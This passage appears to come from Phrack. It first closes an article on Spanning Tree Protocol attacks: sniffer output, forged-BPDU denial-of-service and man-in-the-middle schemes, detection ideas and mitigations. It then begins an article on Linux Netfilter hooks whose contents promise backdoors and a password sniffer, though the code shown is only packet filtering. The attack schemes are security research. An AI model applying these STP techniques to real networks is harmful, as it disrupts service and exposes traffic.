0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]# 
---------------------screendump----------------------------

Generally the same is achieved by multicast alias of tcpdump syntax (if you
've no other multicast traffic in the target network:

---------------------screendump----------------------------
[root@ws002 root]# tcpdump -vvv -e -l -xX -ttt -c 3 -i eth0 multicast
tcpdump: listening on eth0
000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 004863 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 006193 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15 
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]#
---------------------screendump----------------------------

As you see here, normally STP frames are arriving approximately within 
Hello Time (here is 2 seconds).



STP & VLANs.
*=*=*=*=*=*=

   We 'd like to say some words about STP functioning specific to networks
with virtual LANs (VLANs). Enabling this mode on a switch is logically
equivalent to replacing it with a few (by number of VLANs) switches, even when
physically there's no separation between VLANs media. It 'd be obvious to find
there different STP trees, but this option is supported by only some
equipment(i.e. Intel 460T supports only one STP tree for all VLANs; with
Avaya's Cajun switches family you'll find separate Spanning Tree only in high
models). These facts are  destroying a hope to localize possible STP attacks
in one VLAN. But there are threats existing even with separate spanning trees
per VLAN.
 
   Some vendors realize in their devices extended STP-related futures,
enhancing their abilities, like Spanning Tree Portfast in Cisco  (see [11]) &
STP Fast Start in some 3Com switches  (see [12]). We'll show essence of them
below. Also, some companies support their own implementation of STP, i.e. Dual
Layer STP from Avaya. Plus, STP modifications functioning for other network
types (i.e. DECnet). Here we'd like to point on their principle similarity and
differ only in details and extended abilities (so, in Avaya Dual Layer STP
trees could be terminated at the 802.1q-capable ports). All these
implementation suffer from the same defects as their prototypes. Unpublished
proprietary protocols give one more problem - only developers could solve
their problems, since full reverse engineering (needed to provide good
bug-fixing solutions) is much harder then small one required to realize
attacks & by publishing results some would make an evidence of reverse
engineering, which may be illegal.

Possible attack schemes
*=*=*=*=*=*=*=*=*=*=*=*

   An idea of 1st group of attacks lies practically ``on the surface''.
Essentially the principle of STP allows easily organize Denial of Service
(DoS) attack. Really, as defined by standard, on Spanning Tree reconfiguration
all ports of involved devices does not transfer user frames. Thus, to drop a
network (or at least one of its segments) into unusable state it's enough to
master STP-capable device(s) to do infinite reconfiguration. It could be
realized by initiating elections of, for example, root bridge, designated
bridge or root port - practically any of electional object. ``Fortunately''
STP has no any authentication  allowing malicious users easily reach this by
sending fake BPDU.

   A program building BPDU could be written in any high level language having
raw-socket interface (look at C sample and managing shell script at our
project home page -  [5], [6]).  Another way - one may use standard utilities
for managing Spanning Tree, i.e. from Linux Bridge project([13]),  but in this
case its not possible to manipulate STP parameters with  values that doesn't
fit into standard specification. Below we will examine base schemes of
potentially possible attacks.

Eternal elections.
*=*=*=*=*=*=*=*=*=

   Attacker monitors network with a sniffer (network analyzer) & awaits for
one of periodical configuration BPDUs from the root bridge (containing its
identifier). After that he sends into a network a BPDU with identifier that is
lower then received one (id=id-1) - thus it has pretensions to be a root
bridge itself & initiates elections. Then it decrement identifier by 1 and
repeat procedure. Each step initiates new elections wave. When identifier
reach its lowest value attacker return to the value calculated at beginning of
the attack. As a result network will be forever in elections of the root
bridge and ports of STP-capable devices will never reach forwarding state
while attack is in progress.

Disappearance of root.
*=*=*=*=*=*=*=*=*=*=*=

    With this attack there is no need to get current root bridge identifier -
the lowest possible value is a starting one. This, as we remember, means
maximum priority. At the end of elections attacker stops sending BPDUs, thus
after a timeout of Max Age Time gives new elections. At new elections attacker
also acts as before (and wins). By assigning minimum possible Max Age Time it
is possible to get situation when all the network will spend all time
reconfigurating, as it could be in previous algorithm. This attack may occur
less effective, but it has simpler realization. Also, depending to network
scale and other factors (i.e. Forward Delay value, that vary speed of
switching into a forwarding state) the ports of STP-capable devices may never
start forwarding the user frames - so we cannot consider this attack as less
dangerous.

 Merging-splitting of the trees.
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

  In a network with VLAN support it may be possible to lunch a modification
of discussed above attack by connecting segments with different vlans & STP
trees. This may be realized without  software, by hands, by linking ports
together with a cross-over cable. This may become a pain for NOC, since it's
hard to detect.

 Local Denial of Service.
*=*=*=*=*=*=*=*=*=*=*=*=*

  Attacker may make Denial of Service not for the entire network, but just on
a part of it. There could be many motivations, i.e. it may isolate victim
client from real server to make ``fake server'' attack. Lets look for
realization of this type of attack on example. 

 ----------------------------------------------------------------
                                         
 .------------------------.                 .------------------.
 | Switch w/ STP #1       |-----------------| Switch w/ STP #2 |
 .________________________.                 '__________________'
    |                |                               |   
    |                |                               |   .___.
    |                |                               |   |   |
    |.....           |  ._                           |   | ==|
  .------,~          |  ||                           |   | ==|
  |Client|'          |  ||                            \_ |  -|
  | PC   ||           \ |....                            |   | 
  \------ /            '=====|                           |   |
   ======/             Attackers                        -------
                       Notebook                          Server

--------------------------Picture 1-----------------------------
On the picture 1 server is connected to one switch & victim is connected 
to another one (connectivity to the bridge may include hubs). Attacker 
needs to fool nearest switch & make it think that he(she) has better way
to the bridge that serves server computer.

In terms of STP, attacker must initiate & win elections of designated bridge
for server segment. As a result of winning such elections the channel between
bridges would be disabled by setting corresponding ports to the blocked state.
By destroying connectivity between segments attacker may either try to fool
client claiming itself as a real server (compare with well known Mitnick
attack) or just feel satisfied if mischief is a subject.

BPDU filter.
*=*=*=*=*=*=

Obvious way to attack is to set a loop that is undetectable by STP by
organizing physical ring with filtering there of all BPDU frames. 

Man In the Middle.
*=*=*=*=*=*=*=*=*=

    Next two attacks have principal difference from already discussed - the
goal of them not to achieve denial of service, but data penetrating, that
impossible in the normal network operation mode. In short, this attack uses
STP to change logical structure of network to direct sensitive traffic via
attacker's station. Let's look at the 2nd picture.


 ----------------------------------------------------------------
     Clients segment                          Server segment           
 .------------------------.                 .------------------.
 | Switch w/ STP #1       |------X X--------| Switch w/ STP #2 |
 .________________________.                 '__________________'
    |                |                        |      |   
    |                |                        |      |   .___.
    |                |                        |      |   |   |
    |.....           |   .------.             |      |   | ==|
  .------,~          |   |      |             |      |   | ==|
  |Client|'          |   |Attacking           ;       \_,|  -|
  | PC   ||           \  | PC   |            /           |   | 
  \------ /            \_========_,         /            |   |
   ======/              |_________|--------'            -------
                                                         Server

--------------------------Picture 1-----------------------------


As against mentioned above partial denial of service attack, suppose that
attackers station is equipped with two NICs, one Network Interface Card 
is connected to the ``client's'' segment, and another - to the ``server's''
segment. By sending appropriate BPDU attacker initiates elections of the 
designated bridge for both segments and wins them. As a result, existing
link between switches (marked as "-X X-" ) will shut down (will switch to 
the blocking state) and all inter-segment traffic will be directed via 
attacker's station. If intruder's plans does not include denial of service,
he(she) MUST provide frame forwarding between NICs. It's a very simple 
task if attacker doesn't needed to change traffic in some manner. This
may be done by either creating simple program module or using built-in STP
functions of the  operating system, for example with Linux Bridge Project (see
 [13]), which contribute complete bridge solution. Of course, an intruder must
take in account ``bottle neck'' problem - inter-segment link  may work at
100Mb (1Gb) speed while client's ports may provide only 10Mb (100Mb) speed,
which lead to the network productivity degradation and  partial data loss (but
software realization of back pressure shouldn't be a  big deal). Of course, if
attacker wants to ``edit'' traffic on the fly on a heavy loaded link, he(she)
may need more powerful computer (both CPU and RAM). Fortunately, this attack
is impossible in networks with single switch - try to realize it in these
conditions and you will get partial DoS. Also note, that realization is
trivial only when attacker is connected to neighbored switches. If connections
are made to the switches without direct link, there is additional task -
guessing at least one Bridge ID, because STP-capable devices never forward
BPDU, sending on the base of received information its own, instead.

Provocated Sniffing.
*=*=*=*=*=*=*=*=*=*=

  In general, sniffing is data penetrating by switching network interface
into promiscuous mode. In this mode NIC receives all the frames, not only
broadcasts and directed to it. There're well known attack on networks 
based on switches, these are either poison targets MAC address table by fake
ARP replies, either over-full bridge switching table and thus making it behave
like a hub, but with splitting collision domains. Almost the same results may
be achieved using STP.

  According specification after tree reconfiguration (for example, after
designated bridge elections) STP-capable device MUST remove from the
switching table all the records (except those statically set by
administrator), included before switch  gone into listening and learning
state. As a result switch will go into hub mode for some time while it refill
switching table. Of course, you already noted weakness of this theory: switch
learns too fast. After  receiving first frame from victim it writes its MAC
address into switching table and stops to broadcast them to all ports.
However, we must not  ignore this attack. This is because manufacturers
include in their products some ``extensions'' to core STP. Just after
elections network is unreachable. To reduce down time some manufacturers
(Cisco, Avaya, 3Com, HP, etc) include an ability to discard listening and
learning states on the ``user'' ports (ports with servers and workstations
connected to). In other words, port is switching from ``blocked'' state
directly to ``forwarding'' state. This ability has different names: Spanning
Tree Portfast (Cisco - [11]), STP Fast Start (3Com - [12]) etc. If this
ability turned on, eternal elections would lead not to DoS, but to periodical
resets of the switching table, that means hub-mode. Note, that this function
should not be turned ON on the trunk ports, because STP convergence
(finalization of elections to a stable state) not guaranteed in this case.
Fortunately, to achieve its goal an intruder must clear switching table at
least two times fast than interesting packets are received, that is
practically impossible. Anyway it allows collecting of some sensitive data.
Also note, that this attack allows to catch all frames, because it works on
the channel level of OSI and redirects all protocols (including IPX, NETBEUI 
etc), not only IP (as ARP-poisoning).

Other possible attacks.
*=*=*=*=*=*=*=*=*=*=*=*

  These attacks are unchecked, but we suppose, that them are possible.

STP attack on the neighbor VLAN.
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

   According 802.1q a bridge with VLAN support can receive on the given
channel either all the frames, or the frames with appropriate tags. In
VLAN-divided networks frames containing STP packets will be transmitted via
trunk link with appropriate tags. So, there is an ability to attack VLAN by
sending STP packets in tagged frames to the port, which doesn't support tags.
Fortunately, according 802.1q a bridge may filter out those frames. For
example, Cisco devices drop down tagged frames on the tag-incompatible ports
(at least, users), that makes this attack impossible. But note, that bridge
MAY, not MUST drop these frames.

STP on WAN links.
*=*=*=*=*=*=*=*=*

   We also must understand, that WAN links are vulnerable to STP attacks too.
This because BCP specification declare STP over PPP support. Surprising
consequence of this fact is an ability to attack ISP network via dial-up
connection. According RFC2878 (BCP description, see [RFC2878]) STP turned on
on the PPP link if both sides requesting it, that never takes place in
practice. Nevertheless, STP supported by default on the majority Cisco
routers, at least models, capable to combine virtual interfaces into bridge
group.

This applies to GARP.
*=*=*=*=*=*=*=*=*=*=*=

   As you may read in the Generic Attribute Registration Protocol (GARP)
specification by 802.1d the STP is a subset of GARP. Some of discussed above
attack work against GARP and, in particular, Generic VLAN Registration
Protocol (GVRP). Therefore VLANs cannot be used as single security measure in
network. 802.1q standard originated from 802.1d and inherits all its defects.
 
   We may continue our research of non-standard using STP. All new materials
will be available on the project web-page (see  [3]).
 

Brief resume.
*=*=*=*=*=*=*

So, we shown that unfortunately all networks supporting 802.1d and, 
with some restrictions, those that support 802.1q are all vulnerable. 

While some devices support STP only if administrator turned on appropriate
option during configuration process, others support STP by default, ``from
the box'' (most of current vendors enable STP by default). Ask your admin:
does our network need STP support? Is STP support turned off on our hardware?

Detection and protection.
*=*=*=*=*=*=*=*=*=*=*=*=*

   What is the main difficulty with STP-based attacks detection? The problem
is that for this attack used standard C-BPDU packets, so presence STP packets
on the network is not strong characteristic of attack. Other difficulty is
that Intrusion Detection System (IDS) must have in its disposal information
about network scheme, at least, list of network devices (with bridges IDs) to
distinguish usual STP traffic from intruder's packets. Moreover, as a main
goal of attack is network availability, IDS must have its own alarm channel.
But note that in this case there possible false negatives - attack will not
detected if malicious BPDUs affect network hardware before IDS disclose them.
Each real network normal state can be described in STP terms. For example, in
a network which normally doesn't use STP appearance of STP packets most likely
signify an STP attack attempt. Series of Root Bridge elections with sequential
lowering Root Bridge ID may signify ``eternal election'' attack. In a network
with fixed list of device IDs appearance of BPDUs with new ID in most cases
may signify an attack (except, of course some ridiculous cases like
installation of new device by ones of poor-coordinated administration team).
We suppose, that most effective solution is adaptive self-learning IDS using
neural networks technology, because the can dynamically compare actual network
state with ``normal'' state. One of most significant measure is STP fraction
in total traffic amount.

Quick fix?
*=*=*=*=*=*

What can network administrators do while problem exists?
 
 - If STP is not barest necessity for your network, it must be disabled. As
   we noted above, in most devices STP is enabled by default.
 - In many cases backup links can be controlled using other mechanisms like
   Link Aggregation. This feature supported by many devices, including Intel,
   Avaya etc.
 - If hardware supports individual STP settings on each port then STP must be
   switched off on all ports except tagged port connected to other network
   hardware, but not user workstations. Especially this must be taken in
   account by ISP, because malicious users may attempt to make DoS against
   either ISP network either other client's networks.
 - If possible administrators must to segment STP realm, i.e. create several
   independent spanning trees. Particularly, if two network segment (offices)
   connected via WAN link, STP on this link must be switched off.


Conclusion
*=*=*=*=*=
 
   Each complicated system inevitably has some errors and communications is
not an exclusion. But this fact is not a reason to stop evolution of
information technologies - we can totally escape mistakes only if we do
nothing. Meanwhile increasing complexity of technologies demand new approach
to development, an approach, which takes in account all conditions and
factors, including information security. We suppose that developers must use
new methods, like mathematical simulation of produced system, which takes in
account not only specified controlling and disturbing impacts on the system,
but also predicts system behavior when input values are outside of specified
range.
 
   It is no wonder that developers in first place take in account primary goal
of system creation and other questions gives little consideration. But if we
don't include appropriate security measures while system development, it is
practically impossible to ``make secure'' this system when it is already
created. At least, this process is very expensive, because core design lacks
are hard to detect and too hard (some times - impossible) to repair  in
contrast to implementation and configuration errors.
  

References
*=*=*=*=*=
  
 [2]  Our article in Russian in LAN-magazine:
      http://www.osp.ru/lan/2002/01/088.htm , also there, in paper:
      Russia, Moscow, LAN, #01/2002, published by ``Open Systems'' publishers.
 [3]  Other materials of this research are published in full at
      http://olli.digger.org.ru/STP
 [4]  Formatted report of our research
      http://olli.digger.org.ru/STP/STP.pdf
 [5]  C-code source of BPDU generation program
      http://olli.digger.org.ru/STP/stp.c
 [6]  Shell script to manipulate STP parameters
      http://olli.digger.org.ru/STP/test.sh
 [7]  ANSI/IEEE 802.1d (Media Access Control, MAC) and ANSI/IEEE 802.1q
      (Virtual Bridged Local Area Networks) can be downloaded from
      http://standards.ieee.org/getieee
 [8]  RFC2878 (PPP Bridging Control Protocol)
      http://www.ietf.org/rfc/rfc2878.txt
 [9]  Description of BPDU
      http://www.protocols.com/pbook/bridge.htm#BPDU
 [10] Assigned Numbers (RFC1700) http://www.iana.org/numbers.html
 [11] Cisco STP Portfast feature
      http://www.cisco.com/warppublic/473/65.html
 [12] Description of STP support on 3Com SuperStack Switch 1000
      http://support.3com.com/infodeli/tools/switches/s_stack2/3c16902/man
      ual.a02/chap51.htm
 [13] Linux Bridge Project
      http://bridge.sourceforge.net/
 [14] Thomas Habets. Playing with ARP
      http://www.habets.pp.se/synscan/docs/play_arp-draft1.pdf
  
|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f

|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <alkerr@yifan.net> ]=--------------------=|

Table of Contents

1 - Introduction
  1.1 - What this document is
  1.2 - What this document is not
2 - The various Netfilter hooks and their uses
  2.1 - The Linux kernel's handling of packets
  2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
  4.1 - A closer look at hook functions
  4.2 - Filtering by interface
  4.3 - Filtering by address
  4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
  5.1 - Hidden backdoor daemons
  5.2 - Kernel based FTP password sniffer
    5.2.1 - The code... nfsniff.c
    5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
  6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
  6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
  A.1 - Overview
  A.2 - The source... lwfw.c
  A.3 - lwfw.h
B - Code for section 6


--[ 1 - Introduction

This article  describes  how  quirks (not necessarily  weaknesses)  in the
Linux network stack can be used for various purposes, nefarious or otherw-
ise.  Presented here will be a  discussion on using  seemingly  legitimate
Netfilter hooks for backdoor communications and also a technique to hide
such traffic from a Libpcap based sniffer running on the local machine.

Netfilter  is  a   subsystem  in the Linux 2.4  kernel.   Netfilter  makes
such  network  tricks as  packet  filtering,  network address  translation
(NAT) and connection tracking possible through the use of various hooks in
the kernel's network code. These hooks are places that kernel code, either
statically  built  or  in  the form  of a loadable  module,  can  register
functions to be called for specific  network events. An example of such an
event is the reception of a packet.


----[ 1.1 - What this document is

This document discusses  how a module writer can make use of the Netfilter
hooks  for whatever  purposes and also how  network traffic  can be hidden
from a Libpcap application.  Although  Linux 2.4 supports  hooks for IPv4,
IPv6 and DECnet,  only IPv4 will be discussed  in this document.  However,
most of the IPv4 content can be applied to the other protocols. As an aide
to teaching, a working kernel module that  provides basic packet filtering
is provided in Appendix A.  Any  development/experimentation done for this
document  was done on an  Intel machine running  Linux 2.4.5.  Testing the
behaviour  of  Netfilter  hooks was done  using  the  loopback device,  an
Ethernet device and a modem Point-to-Point interface.

This  document  is also  written for  my benefit  in an  attempt  to  fully
understand Netfilter.  I do not guarantee that  any code  accompanying this
document is 100% error free  but I have  tested all  code provided here.  I
have suffered  the kernel  faults so hopefully  you won't have to.  Also, I
do  not  accept any  responsibility  for  damages  that may  occur  through
following this document. It is expected that the reader be comfortable with
the C   programming language and have some experience with  Loadable Kernel
Modules.

If I have  made a mistake in something presented here then please let me
know. I am also open to suggestions on either improving this document or
other nifty Netfilter tricks in general.


----[ 1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It
is also *not* a reference for the iptables command. If you want to learn
more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...


--[ 2 - The various Netfilter hooks and their uses
----[ 2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of
packets  and the events  preceeding  and following  each Netfilter hook, I
won't. The simple  reason is that  Harald Welte has already written a nice
document  on  the subject,  his Journey  of a Packet Through the Linux 2.4
Network Stack  document. To learn  more on Linux's  handling of packets, I
strongly  suggest  that  you  read this  document  as well.  For now, just
understand that as a packet moves through the Linux kernel's network stack
it crosses  several hook  locations where packets can be analysed and kept
or discarded. These are the Netfilter hooks.


------[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4.  The declaration of the symbols for
these can be  found in  linux/netfilter_ipv4.h.  These hooks are displayed
in the table below:

Table 1: Available IPv4 hooks

   Hook                 Called
NF_IP_PRE_ROUTING   After sanity checks, before routing decisions.
NF_IP_LOCAL_IN      After routing decisions if packet is for this host.
NF_IP_FORWARD       If the packet is destined for another interface.
NF_IP_LOCAL_OUT     For packets coming from local processes on
		    their way out.
NF_IP_POST_ROUTING  Just before outbound packets "hit the wire".

The  NF_IP_PRE_ROUTING  hook  is called  as the first  hook after a packet
has been received.  This is the hook that the module presented later  will
utilise. Yes the other hooks are  very  useful  as  well, but  for now  we
will  focus  only on NF_IP_PRE_ROUTING.

After hook  functions have done  whatever  processing they need to do with
a packet they must  return one of the  predefined  Netfilter return codes.
These codes are:

Table 2: Netfilter return codes
Return Code          Meaning
  NF_DROP        Discard the packet.
  NF_ACCEPT      Keep the packet.
  NF_STOLEN      Forget about the packet.
  NF_QUEUE       Queue packet for userspace.
  NF_REPEAT      Call this hook function again.


The   NF_DROP  return  code  means  that  this  packet  should  be  dropped
completely  and  any  resources  allocated  for  it  should  be   released.
NF_ACCEPT tells Netfilter  that so far the  packet is  still acceptable and
that it  should move to the  next stage of the network stack.  NF_STOLEN is
an interesting one because it tells Netfilter to "forget" about the packet.
What this  tells Netfilter is  that the hook  function will take processing
of this packet from  here and that Netfilter  should drop all processing of
it.  This does  not  mean,  however, that  resources  for  the  packet  are
released. The packet and it's respective sk_buff structure are still valid,
it's just that  the hook  function has  taken  ownership of the packet away
from  Netfilter.  Unfortunately  I'm  not  exactly  clear on  what NF_QUEUE
really  does  so  for  now  I won't  discuss  it.  The  last return  value,
NF_REPEAT requests that Netfilter calls the hook  function again. Obviously
one must be careful using NF_REPEAT so as to avoid an endless loop.


--[ 3 - Registering and unregistering Netfilter hooks

Registration of a  hook  function is a very  simple  process  that revolves
around  the  nf_hook_ops   structure,  defined  in  linux/netfilter.h.  The
definition of this structure is as follows:

          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };

The  list  member of  this  structure is  used to  maintain  the  lists  of
Netfilter hooks and has no importance for hook registration as far as users
are concerned.  hook is a  pointer to a  nf_hookfn  function.  This is  the
function  that will be  called  for  the  hook.  nf_hookfn  is  defined  in
linux/netfilter.h as well. The pf field specifies a protocol family.  Valid
protocol families are available from linux/socket.h but for IPv4 we want to
use PF_INET.  The  hooknum  field specifies the  particular hook to install
this function  for and is one of the values listed in table 1. Finally, the
priority field specifies where in the order of execution this hook function
should   be   placed.   For  IPv4,   acceptable  values   are   defined  in 
linux/netfilter_ipv4.h  in the  nf_ip_hook_priorities  enumeration. For the
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration  of a  Netfilter hook  requires using a  nf_hook_ops structure
with the nf_register_hook() function. nf_register_hook() takes the  address
of an nf_hook_ops structure and returns an integer value.  However, if  you
actually   look  at   the  code   for  the  nf_register_hook()  function in
net/core/netfilter.c, you will notice that it only ever returns a  value of
zero. Provided below is example code that simply registers a function  that
will drop all  packets that  come  in.  This code  will also  show  how the
Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook
/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets. */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);
    
    return 0;
}
	
/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

That's all there is to it.  From the code given in listing 1 you can  see
that  unregistering  a  Netfilter  hook is a  simple  matter  of  calling
nf_unregister_hook() with  the address of the same structure  you used to
register the hook.


--[ 4 - Basic packet filtering techniques with Netfilter
----[ 4.1 - A closer look at hook functions

Now  its  time to  start looking  at what  data gets  passed  into  hook
functions  and how that data  an be used to make filtering decisions. So
let's look more  closely at  the prototype  for nf_hookfn functions. The
prototype is given in linux/netfilter.h as follows:

	  typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

The first argument to  nf_hookfn  functions  is a value specifying one of
the hook types given in table 1. The second argument is more interesting.
It is a pointer to a pointer to a  sk_buff  structure, the structure used
by  the network  stack to describe packets.  This structure is defined in
linux/skbuff.h  and due to its  size, I shall only highlight some of it's
more interesting fields here.

Possibly the  most useful fields out of  sk_buff structures are the three
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX),  the
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
or RAW). The names of these unions are h, nh and mac respectively.  These
unions contain several structures, depending on what protocols are in use
in a  particular packet.  One should note that  the transport  header and
network header may very well point to the same  location in memory.  This
is  the  case for TCP packets where  h  and  nh  are both  considered  as
pointers  to IP header structures.  This means  that attempting  to get a
value from h->th thinking it's pointing to the TCP header will  result in
false results because h->th will actually be pointing to the  IP  header,
just like nh->iph.

Other  fields of  immediate  interest are the  len and  data fields.  len
specifies the total length of the packet data beginning at data.  So  now
we know how to access  individual protocol  headers and  the  packet data
itself  from  a   sk_buff  structure.   What other  interesting  bits  of
information are available to Netfilter hook functions? 

The  two  arguments  that  come  after   skb   are pointers to net_device
structures.   net_device  structures are  what the  Linux  kernel uses to
describe network interfaces of all sorts.  The first of these structures,
in,  is  used  to  describe the  interface the  packet  arrived on.   Not
surprisingly, the  out  structure  describes  the interface the packet is
leaving on.  It is  important to  realise that  usually only one of these
structures will be provided.  For instance, in will only be provided  for
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
for the  NF_IP_LOCAL_OUT  and  NF_IP_POST_ROUTING  hooks. At this stage I
haven't  tested  which  of  these  structures  are   available   for  the
NF_IP_FORWARD hook but if you make sure the pointers  are non-NULL before
attempting to  dereference  them you  should be fine.

Finally,  the last item passed into a hook function is a function pointer
called  okfn  that takes a  sk_buff  structure as  its only  argument and
returns an integer. I'm not too sure on what this function does.  Looking
in  net/core/netfilter.c  there are two places where this okfn is called.
These  two places are  in the functions  nf_hook_slow() and nf_reinject()
where at a  certain place this  function is called on a  return value  of
NF_ACCEPT from a Netfilter hook. If anybody has more information on  okfn
please let me know.

Now that we've looked at the most interesting and useful bits of informa-
tion that our hook functions receive, it's time to look at how we can use
that information to filter packets in a variety of ways.


----[ 4.2 - Filtering by interface

This  would have to  be  the  simplest  filtering  technique  we  can do.
Remember those net_device structures  our hook  function received?  Using
the name field from the relevant  net_device  structure allows us to drop
packets depending on their source interface or destination  interface. To
drop all packets that  arrive  on interface  eth0 all  one has  to  do is
compare the value of  in->name  with "eth0".  If the names match then the
hook function simply returns NF_DROP and the packet is destroyed. It's as
easy as that. Sample code to do this is provided in listing 2 below. Note
that the Light-Weight FireWall module will  provide  simple  examples  of
all the  filtering  methods  presented here.  It also  includes an  IOCTL
interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will
 * drop all incoming packets on an interface we specify */
 #define __KERNEL__
 #define MODULE
 #include <linux/module.h>
 #include <linux/kernel.h>
 #include <linux/netdevice.h>
 #include <linux/netfilter.h>
 #include <linux/netfilter_ipv4.h>
 /* This is the structure we shall use to register our function */
  static struct nf_hook_ops nfho;

 /* Name of the interface we want to drop packets from */
  static char *drop_if = "lo";

 /* This is the hook function itself */
  unsigned int hook_func(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s...\n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook     = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
  
    nf_register_hook(&nfho);
    
    return 0;
}
	
/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

Now isn't that simple? Next, let's have a look at filtering based on IP
addresses.


----[ 4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their
source  or  destination  IP address  is very  simple.  This  time we are
interested in the sk_buff structure. Now remember that the  skb argument
is a pointer to a pointer to a sk_buff structure.  To avoid running into
problems it is good practice to declare a seperate pointer to a  sk_buff
structure  and assign the value pointed to by skb to this newly declared
pointer. Like so:

      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /

Now you  only have to  dereference once  to access  items in the structure.
Obtaining the IP header for a packet is done using the network layer header
from the the sk_buff structure. This header is contained in a union and can
be accessed as sk_buff->nh.iph. The function in listing 3  demonstrates how
to check the source IP address  of a received packet  against an address to
deny  when given a  sk_buff  for the  packet.  This  code has  been  pulled
directly  from  LWFW.  The  only  difference  is that  the update  of  LWFW
statistics has been removed.

Listing 3. Checking source IP of a received packet

 	  unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */
	  
	  ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
	       * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 
	          return NF_DROP;
              }

              return NF_ACCEPT;
          }

Now if the source address matches the address we want to drop packets from
then the  packet is  dropped.  For this  function to work as presented the
value of  deny_ip  should be  stored  in  Network Byte Order  (Big-endian,
opposite of Intel).  Although  it's  unlikely that  this  function will be
called  with a  NULL pointer  for it's  argument,  it never  hurts to be a
little paranoid.  Of course if an  error does occur then the function will
